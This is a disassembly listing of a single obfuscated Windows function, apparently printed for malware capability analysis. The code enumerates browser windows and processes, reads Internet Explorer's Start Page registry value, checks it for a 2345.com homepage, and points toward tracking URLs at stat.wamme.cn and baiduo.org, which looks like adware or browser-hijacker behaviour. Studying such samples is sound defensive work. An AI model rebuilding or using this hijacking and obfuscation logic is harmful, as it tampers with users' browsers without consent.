Function at 0x4131f0
Capabilities:
Query or enumerate registry value
Read .ini file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4422bd
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x1128
call fcn.00427d10
mov eax, dword [0x455e64]
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov ecx, dword [0x454e08]
mov eax, 0x9a96bd3d
imul ecx
add edx, ecx
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x454dfc]
imul edx, edx, 0x1628
sub edx, eax
mov eax, dword [0x454e14]
imul eax, eax, 0x10a2
add edx, eax
mov eax, dword [0x454df8]
imul eax, eax, 0x9f1
mov esi, dword [0x454df4]
lea edi, [edx + eax + 0x20a4]
mov eax, 0x950d22f9
imul esi
add edx, esi
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x454e0c]
imul edx, edx, 0x1a7f
mov esi, eax
sub esi, edx
mov eax, 0xa06e4bd5
imul ecx
add edx, ecx
mov ecx, dword [0x454e10]
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x3de9fdd3
imul ecx
sar edx, 0xa
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
xor ebx, ebx
sub esi, ecx
add esi, edi
mov dword [ebp - 0x10e8], ebx
mov dword [str._r_____r_____n], edi
mov dword [ebp - 4], ebx
mov dword [0x454df4], esi
mov dword [ebp - 0x10d8], ebx
lea edx, [ebp - 0x10d8]
push edx
push 0x445060
push 0x17
push ebx
push 0x44984c
mov byte [ebp - 4], 1
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov ecx, dword [0x454dfc]
mov esi, eax
mov eax, 0x2d5481cb
imul ecx
mov ecx, dword [0x454e14]
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0x5c6f35cd
imul ecx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
sub ebx, edi
mov edi, dword [0x454e08]
mov eax, 0x5c6f35cd
imul edi
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x454e0c]
sub ebx, eax
mov eax, 0x3de9fdd3
imul edx
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
sub ebx, 0x1b7b
test esi, esi
mov dword [0x454dfc], ebx
jge 0x4133d5
mov ecx, dword [0x454e10]
mov eax, 0xb40b40b5
imul ecx, ecx, 0x1b7b
imul edi
add edx, edi
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x454e04]
sub ecx, eax
imul edx, edx, 0x108a
mov eax, dword [0x454df8]
imul eax, eax, 0x9f1
add ecx, edx
lea ecx, [ecx + eax + 0x20a4]
mov eax, dword [ebp - 0x10d8]
test eax, eax
mov dword [0x454e00], ecx
mov byte [ebp - 4], 0
je 0x4133ce
mov edx, dword [eax]
push eax
call dword [edx + 8]
xor eax, eax
jmp 0x415364
mov edx, dword [0x454e00]
mov eax, 0x1f5f3801
imul edx
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, 0x1f5f3801
imul ecx
imul ecx, ecx, 0x1b7b
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
sub edi, esi
sub edi, ecx
mov ecx, dword [0x454e04]
mov eax, 0x7b214ec3
imul ecx
mov eax, dword [ebp - 0x10d8]
sar edx, 0xb
mov ecx, edx
shr ecx, 0x1f
add edi, edx
lea edx, [ecx + edi + 0x16c0]
mov dword [0x454e04], edx
lea edx, [ebp - 0x10ec]
xor ebx, ebx
push edx
mov dword [ebp - 0x10ec], ebx
mov ecx, dword [eax]
push eax
call dword [ecx + 0x1c]
mov edi, dword [0x454df8]
mov ecx, dword [0x454e00]
mov eax, dword [0x454dfc]
imul ecx, ecx, 0x1b7c
imul eax, eax, 0x1a7f
mov edx, edi
imul edx, edx, 0x1988
add ecx, eax
sub ecx, edx
mov eax, 0x3de9fdd3
imul edi
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
cmp dword [ebp - 0x10ec], ebx
mov dword [0x454e08], ecx
jne 0x4134ae
mov eax, dword [ebp - 0x10d8]
cmp eax, ebx
mov byte [ebp - 4], bl
je 0x4134a7
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
xor eax, eax
jmp 0x415364
mov eax, 0x2d5481cb
imul edi
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [str._r_____r_____n]
imul edx, edx, 0x1697
sub edx, eax
mov eax, dword [0x454e04]
imul eax, eax, 0x8e6
lea esi, [edx + eax - 0x1b7b]
cmp dword [ebp + 8], ebx
mov dword [0x454e0c], esi
je 0x41353b
mov edx, dword [0x454df4]
imul ecx, ecx, 0x20a4
imul edx, edx, 0x16c0
add ecx, edx
mov edx, dword [0x454e10]
mov eax, 0x5c6f35cd
imul edx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
sub ecx, edi
add ecx, 0x625
mov dword [0x454e10], ecx
mov ecx, 0x5671a0
call fcn.00407760
mov ecx, dword [0x454e08]
mov esi, dword [0x454e0c]
mov edi, dword [str._r_____r_____n]
imul esi, esi, 0x20a4
mov eax, 0x5f91b42b
imul edi
sub edx, edi
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
sub edi, esi
mov esi, dword [0x454e04]
mov eax, 0xb40b40b5
imul esi
add edx, esi
mov esi, dword [0x454dfc]
sar edx, 0xc
mov eax, edx
add edi, edx
shr eax, 0x1f
add eax, edi
mov edx, esi
imul edx, edx, 0x9f1
lea edi, [eax + edx - 0x1b7b]
mov dword [0x454e14], edi
cmp ebx, dword [ebp - 0x10ec]
mov dword [ebp - 0x10f8], ebx
jge 0x41530d
mov eax, 0x9a96bd3d
imul esi, esi, 0x1628
imul edi, edi, 0x10a2
imul ecx
add edx, ecx
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, dword [0x454df8]
imul eax, eax, 0x9f1
add esi, edi
lea ecx, [esi + eax + 0x20a4]
mov dword [str._r_____r_____n], ecx
mov dword [ebp - 0x10cc], 0
mov eax, ebx
mov word [ebp - 0x111c], 3
mov dword [ebp - 0x1114], eax
mov edi, dword [ebp - 0x111c]
mov ecx, dword [ebp - 0x10d8]
mov edx, dword [ecx]
lea esi, [ebp - 0x10cc]
push esi
sub esp, 0x10
mov esi, esp
mov dword [esi], edi
mov edi, dword [ebp - 0x1118]
mov dword [esi + 4], edi
mov dword [esi + 8], eax
mov eax, dword [ebp - 0x1110]
push ecx
mov byte [ebp - 4], 3
mov dword [esi + 0xc], eax
call dword [edx + 0x20]
lea ecx, [ebp - 0x111c]
push ecx
mov edi, eax
mov byte [ebp - 4], 2
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov ecx, dword [0x454dfc]
mov eax, 0x2d5481cb
imul ecx
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ecx, eax
mov eax, 0x5c6f35cd
imul dword [0x454e14]
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov esi, dword [0x454e0c]
sub ebx, ecx
mov ecx, dword [0x454e08]
mov eax, 0x5c6f35cd
imul ecx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x3de9fdd3
imul esi
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
sub ebx, 0x1b7b
test edi, edi
mov dword [0x454dfc], ebx
jl 0x4137ab
mov edx, dword [0x454df8]
imul ebx, ebx, 0x1a7f
mov ecx, dword [0x454e00]
imul ecx, ecx, 0x1b7c
mov eax, edx
imul eax, eax, 0x1988
add ecx, ebx
sub ecx, eax
mov eax, 0x3de9fdd3
imul edx
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x10cc]
xor edi, edi
test eax, eax
mov dword [0x454e08], ecx
mov dword [ebp - 0x10c8], edi
je 0x413732
mov ecx, dword [eax]
lea edx, [ebp - 0x10c8]
push edx
push 0x4450b8
push eax
call dword [ecx]
mov edi, dword [ebp - 0x10c8]
mov ecx, dword [0x454e08]
mov esi, dword [0x454e0c]
imul esi, esi, 0x1a7f
mov ebx, dword [0x454df4]
mov eax, 0x950d22f9
imul ebx
add edx, ebx
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, esi
mov dword [ebp - 0x10e4], eax
mov esi, dword [0x454e10]
mov eax, 0xa06e4bd5
imul ecx
add edx, ecx
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x10e4]
sub edx, eax
mov ebx, dword [str._r_____r_____n]
mov dword [ebp - 0x10e4], edx
mov eax, 0x3de9fdd3
imul esi
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x10e4]
sub edx, eax
add edx, ebx
test edi, edi
mov dword [0x454df4], edx
jne 0x4137c8
mov eax, dword [ebp - 0x10cc]
test eax, eax
mov byte [ebp - 4], 1
je 0x4152f5
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
jmp 0x4152ef
mov eax, 0xb40b40b5
imul esi, esi, 0x1b7b
imul ecx
add edx, ecx
mov ecx, dword [0x454e04]
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ecx
imul edx, edx, 0x108a
sub esi, eax
add esi, edx
mov edx, dword [0x454df8]
mov eax, edx
imul eax, eax, 0x9f1
lea eax, [esi + eax + 0x20a4]
mov dword [0x454e00], eax
mov dword [ebp - 0x10dc], 0
imul ebx, ebx, 0x1697
imul ecx, ecx, 0x8e6
mov eax, 0x2d5481cb
imul edx
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
lea eax, [ebp - 0x10dc]
lea ecx, [ebx + ecx - 0x1b7b]
push eax
mov dword [0x454e0c], ecx
mov edx, dword [edi]
push edi
mov byte [ebp - 4], 5
call dword [edx + 0x48]
test eax, eax
jge 0x41389d
mov eax, dword [ebp - 0x10dc]
test eax, eax
mov byte [ebp - 4], 4
je 0x41386c
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x10c8]
test eax, eax
mov byte [ebp - 4], 2
je 0x413880
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov eax, dword [ebp - 0x10cc]
test eax, eax
mov byte [ebp - 4], 1
je 0x4152ef
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
jmp 0x4152ef
mov ecx, dword [0x454e00]
mov eax, 0x1f5f3801
imul ecx, ecx, 0x16c0
imul dword [0x454dfc]
mov esi, dword [ebp - 0x10dc]
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x454e14]
sub eax, ecx
imul edx, edx, 0x10a2
mov ecx, dword [0x454e0c]
imul ecx, ecx, 0x9f1
sub eax, edx
test esi, esi
lea edx, [eax + ecx + 0x1697]
mov dword [0x454df8], edx
mov dword [ebp - 0x10d0], 0
je 0x413912
mov eax, dword [esi]
lea ecx, [ebp - 0x10d0]
push ecx
push 0x4450c8
push esi
call dword [eax]
mov esi, dword [ebp - 0x10dc]
mov ecx, dword [0x454e14]
mov eax, 0x1f5f3801
imul dword [0x454e00]
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0x1f5f3801
imul ecx
imul ecx, ecx, 0x1b7b
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
sub ebx, edi
sub ebx, ecx
mov ecx, dword [0x454e04]
mov eax, 0x7b214ec3
imul ecx
mov eax, dword [ebp - 0x10d0]
sar edx, 0xb
mov ecx, edx
shr ecx, 0x1f
add ebx, edx
test eax, eax
lea edx, [ecx + ebx + 0x16c0]
mov byte [ebp - 4], 6
mov dword [0x454e04], edx
jne 0x413995
test esi, esi
mov byte [ebp - 4], 4
je 0x41469e
mov eax, dword [esi]
push esi
call dword [eax + 8]
jmp 0x41469e
push 0
call fcn.00427ccf
sub eax, dword [0x5673f8]
add esp, 4
cmp eax, 0x708
jge 0x413bcd
mov ecx, dword [0x454e08]
mov eax, 0x9a96bd3d
imul ecx
add edx, ecx
mov ecx, dword [0x454dfc]
imul ecx, ecx, 0x1628
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x454e14]
sub ecx, eax
imul edx, edx, 0x10a2
mov eax, dword [0x454df8]
imul eax, eax, 0x9f1
add ecx, edx
lea ecx, [ecx + eax + 0x20a4]
mov eax, dword [ebp - 0x10c8]
mov dword [str._r_____r_____n], ecx
mov edx, dword [eax]
lea ecx, [ebp - 0x1108]
push ecx
push eax
call dword [edx + 0x94]
mov eax, dword [ebp - 0x1108]
lea edx, [ebp - 0x10fc]
push edx
push eax
mov dword [ebp - 0x10fc], 0
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov ecx, dword [0x454dfc]
mov eax, 0x1f5f3801
imul ecx
mov eax, dword [0x454e00]
sar edx, 0xa
imul eax, eax, 0x16c0
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
mov ecx, dword [0x454e14]
mov edi, dword [ebp - 0x10fc]
imul ecx, ecx, 0x10a2
sub edx, eax
sub edx, ecx
mov ecx, dword [0x454e0c]
mov eax, ecx
imul eax, eax, 0x9f1
test edi, edi
lea esi, [edx + eax + 0x1697]
mov dword [0x454df8], esi
je 0x4145fc
mov ecx, dword [0x454e08]
imul esi, esi, 0x9f1
mov ebx, dword [0x454e10]
mov eax, 0xb40b40b5
imul ebx, ebx, 0x1b7b
imul ecx
add edx, ecx
sar edx, 0xc
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x454e04]
imul edx, edx, 0x108a
sub ebx, ecx
push edi
add ebx, edx
push 0
lea eax, [ebx + esi + 0x20a4]
push 0x1f0fff
mov dword [0x454e00], eax
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x413bcd
mov edi, dword [0x454e00]
mov ecx, dword [0x454dfc]
imul edi, edi, 0x1b7c
imul ecx, ecx, 0x1a7f
add edi, ecx
mov ecx, dword [0x454df8]
mov edx, ecx
imul edx, edx, 0x1988
sub edi, edx
mov eax, 0x3de9fdd3
imul ecx
mov cx, word [0x445ab4]
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dl, byte [0x445ab6]
sub edi, eax
mov dword [0x454e08], edi
mov word [ebp - 0x2c4], cx
xor eax, eax
mov byte [ebp - 0x2c2], dl
mov ecx, 0x3f
lea edi, [ebp - 0x2c1]
rep stosd dword es:[edi], eax
push 0x100
stosb byte es:[edi], al
lea eax, [ebp - 0x2c4]
push eax
push 0
push esi
call sub.PSAPI.DLL_GetModuleFileNameExA
mov esi, dword [0x454e08]
mov ecx, dword [0x454df4]
imul esi, esi, 0x20a4
imul ecx, ecx, 0x16c0
add esi, ecx
mov ecx, dword [0x454e10]
mov eax, 0x5c6f35cd
imul ecx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
sub esi, dword [0x454df8]
lea ecx, [ebp - 0x2c4]
push str.startup.exe
add esi, 0x625
push ecx
mov dword [0x454e10], esi
call fcn.00428340
add esp, 8
test eax, eax
jne 0x414676
mov ecx, dword [0x454e08]
mov eax, dword [0x454df4]
mov edx, dword [0x454e10]
imul eax, eax, 0x16c0
mov esi, ecx
imul esi, esi, 0x20a4
add esi, eax
mov ebx, dword [0x454df8]
mov eax, 0x5c6f35cd
imul edx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x10e8]
sub esi, eax
mov eax, dword [ebp + 8]
sub esi, ebx
add esi, 0x625
inc edx
test eax, eax
mov dword [0x454e10], esi
mov dword [ebp - 0x10e8], edx
je 0x41522d
push ecx
lea edx, [ebp - 0x10c8]
mov ecx, esp
mov dword [ebp - 0x10d4], esp
push edx
call fcn.00408310
mov ecx, 0x5671a0
call fcn.004078d0
test al, al
mov ecx, dword [0x454e08]
jne 0x41522d
mov eax, 0x9a96bd3d
imul ecx
add edx, ecx
mov esi, dword [0x454e14]
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x454dfc]
mov edi, edx
imul edi, edi, 0x1628
sub edi, eax
mov eax, esi
imul eax, eax, 0x10a2
add edi, eax
mov eax, dword [0x454df8]
imul eax, eax, 0x9f1
lea eax, [edi + eax + 0x20a4]
mov dword [str._r_____r_____n], eax
mov eax, 0x2d5481cb
imul edx
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0x5c6f35cd
imul esi
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, 0x5c6f35cd
imul ecx
sar edx, 0xb
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, edi
sub esi, ecx
mov ecx, dword [0x454e0c]
mov eax, 0x3de9fdd3
imul ecx
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, dword [ebp - 0x10c8]
lea edx, [ebp - 0x1100]
sub esi, 0x1b7b
push edx
mov dword [0x454dfc], esi
mov ecx, dword [eax]
push eax
call dword [ecx + 0x78]
mov ecx, dword [0x454df8]
mov esi, dword [0x454e00]
mov eax, dword [0x454dfc]
imul esi, esi, 0x1b7c
imul eax, eax, 0x1a7f
mov edx, ecx
imul edx, edx, 0x1988
add esi, eax
sub esi, edx
mov eax, 0x3de9fdd3
imul ecx
mov ecx, dword [ebp - 0x1100]
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
push ecx
mov dword [0x454e08], esi
call fcn.0041d570
mov ecx, dword [0x454e08]
mov dword [ebp - 0x10d4], eax
mov eax, 0x9a96bd3d
imul ecx
add edx, ecx
mov ecx, dword [0x454dfc]
imul ecx, ecx, 0x1628
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x454e14]
sub ecx, eax
imul edx, edx, 0x10a2
mov eax, dword [0x454df8]
imul eax, eax, 0x9f1
add ecx, edx
lea ecx, [ecx + eax + 0x20a4]
mov eax, dword [ebp - 0x10d0]
mov dword [str._r_____r_____n], ecx
mov edx, dword [eax]
lea ecx, [ebp - 0x110c]
push ecx
push eax
xor esi, esi
call dword [edx + 0x90]
mov edx, dword [0x454dfc]
mov ecx, eax
mov eax, 0x1f5f3801
imul edx
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x454e00]
imul edx, edx, 0x16c0
sub eax, edx
mov edx, dword [0x454e14]
imul edx, edx, 0x10a2
sub eax, edx
mov edx, dword [0x454e0c]
imul edx, edx, 0x9f1
test ecx, ecx
lea eax, [eax + edx + 0x1697]
mov dword [0x454df8], eax
jne 0x413e2f
mov ecx, dword [ebp - 0x110c]
push ecx
call fcn.0041d570
mov esi, eax
push 0
call fcn.00427ccf
sub eax, dword [0x56715c]
add esp, 4
cmp eax, 5
jle 0x414ba6
test esi, esi
je 0x413e63
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x413e51
sub eax, edx
cmp eax, 5
ja 0x414ba6
mov ecx, dword [0x454e08]
mov esi, dword [0x454e10]
mov eax, 0xb40b40b5
imul esi, esi, 0x1b7b
imul ecx
add edx, ecx
mov ecx, dword [0x454e04]
sar edx, 0xc
imul ecx, ecx, 0x108a
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x454df8]
sub esi, eax
add esi, ecx
imul edx, edx, 0x9f1
lea eax, [esi + edx + 0x20a4]
mov dword [0x454e00], eax
mov ecx, str.http:__www.baiduo.org_
lea edx, [ebp - 0x1c4]
jmp 0x413ec0
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x413ec0
lea ecx, [ebp - 0x1c4]
push ecx
call fcn.0041d410
mov ecx, dword [str._r_____r_____n]
mov dword [ebp - 0x1104], eax
mov esi, dword [0x454e0c]
mov eax, 0x5f91b42b
imul esi, esi, 0x20a4
imul ecx
sub edx, ecx
mov ecx, dword [0x454e04]
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, dword [0x454dfc]
mov edi, eax
mov eax, 0xb40b40b5
imul ecx
add edx, ecx
sar edx, 0xc
sub edi, esi
add edi, edx
mov ecx, edx
mov edx, ebx
imul ebx, ebx, 0x1628
imul edx, edx, 0x9f1
shr ecx, 0x1f
add ecx, edi
lea eax, [ecx + edx - 0x1b7b]
mov ecx, dword [str.sfdafsdafdsfdsfa]
mov edx, dword [0x445a98]
mov dword [0x454e14], eax
mov eax, dword [0x445a9c]
mov dword [ebp - 0x144], ecx
mov ecx, dword [0x445aa0]
mov dword [ebp - 0x13c], eax
mov dword [ebp - 0x138], ecx
mov dword [ebp - 0x140], edx
mov dl, byte [0x445aa4]
xor eax, eax
mov byte [ebp - 0x134], dl
mov ecx, 0x3c
lea edi, [ebp - 0x133]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0xa
mov esi, str.SoftwareMicrosoftInternet_ExplorerMain
lea edi, [ebp - 0x40]
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [0x454e08]
mov eax, 0x9a96bd3d
imul ecx
add edx, ecx
mov ecx, dword [0x454df8]
sar edx, 0xc
imul ecx, ecx, 0x9f1
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, dword [0x454e14]
imul eax, eax, 0x10a2
add ebx, eax
lea eax, [ebp - 0x10f4]
push eax
push 0xf003f
lea edx, [ebx + ecx + 0x20a4]
push 0
lea ecx, [ebp - 0x40]
push ecx
push SysReAllocString
mov dword [ebp - 0x10f4], 0
movsw word es:[edi], word [esi]
mov dword [str._r_____r_____n], edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x41426b
mov ecx, dword [0x454e00]
mov esi, dword [0x454e14]
mov eax, 0x1f5f3801
imul ecx
imul ecx, ecx, 0x1b7c
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0x1f5f3801
imul esi
imul esi, esi, 0x1b7b
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x454e04]
mov ebx, eax
mov eax, 0x7b214ec3
imul edx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
sub ebx, edi
sub ebx, esi
mov esi, dword [0x454df4]
add ebx, edx
lea edx, [eax + ebx + 0x16c0]
mov dword [0x454e04], edx
mov eax, 0x950d22f9
imul esi
add edx, esi
sar edx, 0xc
mov esi, dword [0x454e08]
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x454e0c]
imul edx, edx, 0x1a7f
mov edi, eax
sub edi, edx
mov eax, 0xa06e4bd5
imul esi
add edx, esi
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x454e10]
sub edi, eax
mov eax, 0x3de9fdd3
imul edx
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x454dfc]
imul edx, edx, 0x1a7f
sub edi, eax
add ecx, edx
mov edx, dword [0x454df8]
mov eax, edx
imul eax, eax, 0x1988
mov ebx, dword [str._r_____r_____n]
sub ecx, eax
mov eax, 0x3de9fdd3
imul edx
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add edi, ebx
add eax, edx
sub ecx, eax
mov dword [0x454df4], edi
mov dword [0x454e08], ecx
mov edi, 1
lea ecx, [ebp - 0x10e4]
mov dword [ebp - 0x10e4], 0x104
mov dword [ebp - 0x10e0], edi
push ecx
mov ecx, dword [ebp - 0x10f4]
lea edx, [ebp - 0x144]
push edx
lea eax, [ebp - 0x10e0]
push eax
push 0
push str.Start_Page
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x41426b
mov esi, dword [0x454dfc]
mov ecx, dword [0x454e00]
mov eax, 0x1f5f3801
imul esi
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ecx
imul edx, edx, 0x16c0
sub eax, edx
mov edx, dword [0x454e14]
imul edx, edx, 0x10a2
sub eax, edx
mov edx, dword [0x454e0c]
imul edx, edx, 0x9f1
lea eax, [eax + edx + 0x1697]
mov dword [0x454df8], eax
mov eax, dword [0x567498]
test eax, eax
jne 0x414277
lea ecx, [ebp - 0x144]
push str..2345.com
push ecx
call fcn.00428340
add esp, 8
test eax, eax
jne 0x4141ea
lea edx, [ebp - 0x144]
push str..2345.COM
push edx
call fcn.00428340
add esp, 8
test eax, eax
je 0x41426b
mov ecx, dword [0x454e08]
mov eax, 0x9a96bd3d
imul ecx
add edx, ecx
mov ecx, dword [0x454dfc]
sar edx, 0xc
imul ecx, ecx, 0x1628
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x454e14]
imul edx, edx, 0x10a2
sub ecx, eax
mov eax, dword [0x454df8]
imul eax, eax, 0x9f1
add ecx, edx
lea edx, [ebp - 0x144]
push edx
lea ecx, [ecx + eax + 0x20a4]
push str.http:__stat.wamme.cn_C8C_gl_cnzz60.html_HomePage_s
push 0x567508
mov dword [str._r_____r_____n], ecx
mov dword [0x567498], edi
call fcn.00427bea
push 0x132b600
call sym.CallDll.exe_int___cdecl_process3_int_
add esp, 0x10
push 0x1f40
call dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, dword [0x454dfc]
mov ecx, dword [0x454e00]
mov edx, dword [0x454df8]
imul ecx, ecx, 0x1b7c
imul esi, esi, 0x1a7f
mov eax, edx
imul eax, eax, 0x1988
add ecx, esi
sub ecx, eax
mov eax, 0x3de9fdd3
imul edx
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov dword [0x454e08], ecx
mov ecx, dword [ebp - 0x10f4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [0x454df4]
mov eax, 0x950d22f9
imul ecx
add edx, ecx
mov ecx, dword [0x454e0c]
sar edx, 0xc
imul ecx, ecx, 0x1a7f
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
sub esi, ecx
mov ecx, dword [0x454e08]
mov edi, dword [0x454e10]
mov eax, 0xa06e4bd5
imul ecx
add edx, ecx
imul ecx, ecx, 0x20a4
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x3de9fdd3
imul edi
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [str._r_____r_____n]
mov ebx, dword [0x454df8]
sub esi, eax
add esi, edx
mov eax, 0x5c6f35cd
imul edi
mov dword [0x454df4], esi
imul esi, esi, 0x16c0
sar edx, 0xb
mov eax, edx
add ecx, esi
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x10d0]
sub ecx, ebx
add ecx, 0x625
lea edx, [ebp - 0x10f0]
push edx
mov dword [0x454e10], ecx
mov ecx, dword [eax]
push eax
call dword [ecx + 0xa0]
mov eax, dword [ebp - 0x10f0]
push eax
call fcn.0041d570
mov ecx, dword [0x454dfc]
mov ebx, eax
mov eax, 0x2d5481cb
imul ecx
sar edx, 0xa
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0x5c6f35cd
imul dword [0x454e14]
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
sub esi, ecx
mov ecx, dword [0x454e08]
mov eax, 0x5c6f35cd
imul ecx
sar edx, 0xb
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
mov ecx, dword [0x454e0c]
mov eax, 0x3de9fdd3
imul ecx
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
sub esi, 0x1b7b
test ebx, ebx
mov dword [0x454dfc], esi
je 0x414497
mov edi, 0x44509c
mov esi, ebx
mov ecx, 0xc
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
jne 0x414497
mov ecx, dword [0x454e00]
mov eax, 0x1f5f3801
imul ecx
mov ecx, dword [0x454e14]
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, 0x1f5f3801
imul ecx
imul ecx, ecx, 0x1b7b
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
sub edi, esi
sub edi, ecx
mov ecx, dword [0x454e04]
mov eax, 0x7b214ec3
imul ecx
sar edx, 0xb
mov ecx, edx
shr ecx, 0x1f
add edi, edx
lea edx, [ecx + edi + 0x16c0]
push 1
mov dword [0x454e04], edx
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x10d0]
mov ecx, dword [eax]
lea edx, [ebp - 0x10f0]
push edx
push eax
call dword [ecx + 0xa0]
mov eax, dword [ebp - 0x10f0]
push eax
call fcn.0041d570
mov ebx, eax
mov ecx, dword [0x454df8]
mov eax, 0x2d5481cb
imul ecx
mov eax, dword [0x454e04]
sar edx, 0xa
imul eax, eax, 0x8e6
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [str._r_____r_____n]
